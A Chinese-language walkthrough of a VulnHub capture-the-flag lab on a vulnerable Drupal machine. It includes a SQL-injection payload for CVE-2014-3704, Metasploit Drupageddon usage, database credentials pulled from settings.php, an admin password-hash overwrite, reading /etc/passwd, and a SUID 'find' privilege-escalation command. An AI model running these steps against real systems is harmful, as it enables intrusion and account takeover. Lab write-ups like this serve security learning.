1.下载与安装
1.1下载地址:
下载后解压,vm打开
由于自己ip是在192.168.6.3 如果虚拟机还是桥接则不好判断虚拟机的ip地址,所以调整为net模式
2.初步探测
信息收集第一步肯定是先找ip,由于知道自己虚拟机网段是192.168.23.xxx
所以利用nmap工具进行扫描
命令
nmap -sP 192.168.23.0/24
成功拿到ip
再单独扫一次ip,看有什么收获
nmap --script=vuln 192.168.23.172
有一个CVE漏洞:CVE-2014-3704
3.稍有端倪
3.1 百度CVE-2014-3704
简单看,就是一个sql注入漏洞,再看看刚刚扫出来的端口80开着
一看登录,可能就存在sql注入,而漏洞也是存在sql注入,是不是正好呢,继续尝试
3.2 bq抓包
利用burpsuite抓登录包发送到Repeater重发器,尝试发送
复制那篇文章的payload
name[0 or updatexml(0,concat(0xa,database()),0)%23]=bob&name[0]=a&pass=bug&form_build_id=form-hUM-lGJvIc5NEmlo46nu_0Z7cOfyfmk6BQjvIRD4goA&form_id=user_login_block&op=Log in
得到一个关键字 drupal
4.直击目标
4.1 flag1
利用最近学的msf
启动msf msfconsole 搜索关键字 search drupal 由于是CVE-2014-3704 应该是2014年的 查看exploit/multi/http/drupal_drupageddon
选择exploit/multi/http/drupal_drupageddon use 2 查看需要设置的选项 options
设置刚刚扫出来的ip为攻击ip set rhosts 192.168.23.172 再次查看需要设置的参数 options
运行 run
查看flag1.txt cat flag1.txt Every good CMS needs a config file - and so do you.
好像是要找配置文件,貌似没有
百度 Drupal的默认配置文件,貌似有了
cd sites ls -la cd default ls -la cd files
没有啊,突然看到上面是有settings.php,
4.2 flag2
又找到了flag2,找到了数据库名和账号密码
shell -h 看看有啥 一个一个试一下 -t 可以回弹
登录数据库 mysql -udbuser -pR0ck3t 查询数据库 use drupaldb; 查询表名 show tables; 查询users select *from users;
没见过这种的,只能去百度,Drupal可以利用password-hash.sh文件来实现加密
思路是;既然知道了如何加密,但不知道如何解密,那就把他的密码改成自己知道的密码就可以登录成功网页.
找password-hash.sh文件,退回到www目录下搜索
find / -name password-hash* 查找所有文件名中含有password-hash的文件 cd scripts 切换到scripts password-hash.sh 123456 试试是否可以 cd .. 不知道咋办,百度之后说是之前的方法调用不成功按照百度的方法 scripts/password-hash.sh 123456 这样来得到加密结果 password: 123456 hash: $S$DCA1kFD3ijzLGQrTKO7jqqcw7K48HZi7gaMyoUJL2hIrTQ/hoJCb
再回到数据库当中替换到密码
update users set pass='$S$DCA1kFD3ijzLGQrTKO7jqqcw7K48HZi7gaMyoUJL2hIrTQ/hoJCb' where uid =1;
修改成功之后尝试登录
admin / 123456
4.3 flag3
passwd 最重要的东西忘了,linux 上查看 cat /etc/passwd
4.4 flag4
看到有路径,切换看看
cd /home/flag4 切换路径 ls -la 查看里面的文件 cat flag4.txt 查看flag4.txt文件内容
Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is? 貌似权限不够,
百度吧 ,
find / -perm -u=s -type f 2>/dev/null
find / -exec "/bin/bash" -p \; 先提权 cat flag4.txt 在查看 cd /root 切换到root目录下 刘ls 查看有什么文件
4.5 flag5
cat thefinalflag.txt 查看最终flag Well done!!!! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey by contacting me via Twitter - @DCAU7
5.总结:
1.利用nmap,扫ip
2.msf找关键字
3.根据漏洞拿shell
4.拿到shell后,查看目录 找到flag1.txt
5.根据flag1的提示找到配置文件flag2找到数据库账号密码
6.改密码登录网页,找到flag3
7.根据flag3的提示找到flag4
8.提权以及flag4的提示找到thefinalflag.txt
vulnhub地址:Vulnerable By Design ~ VulnHub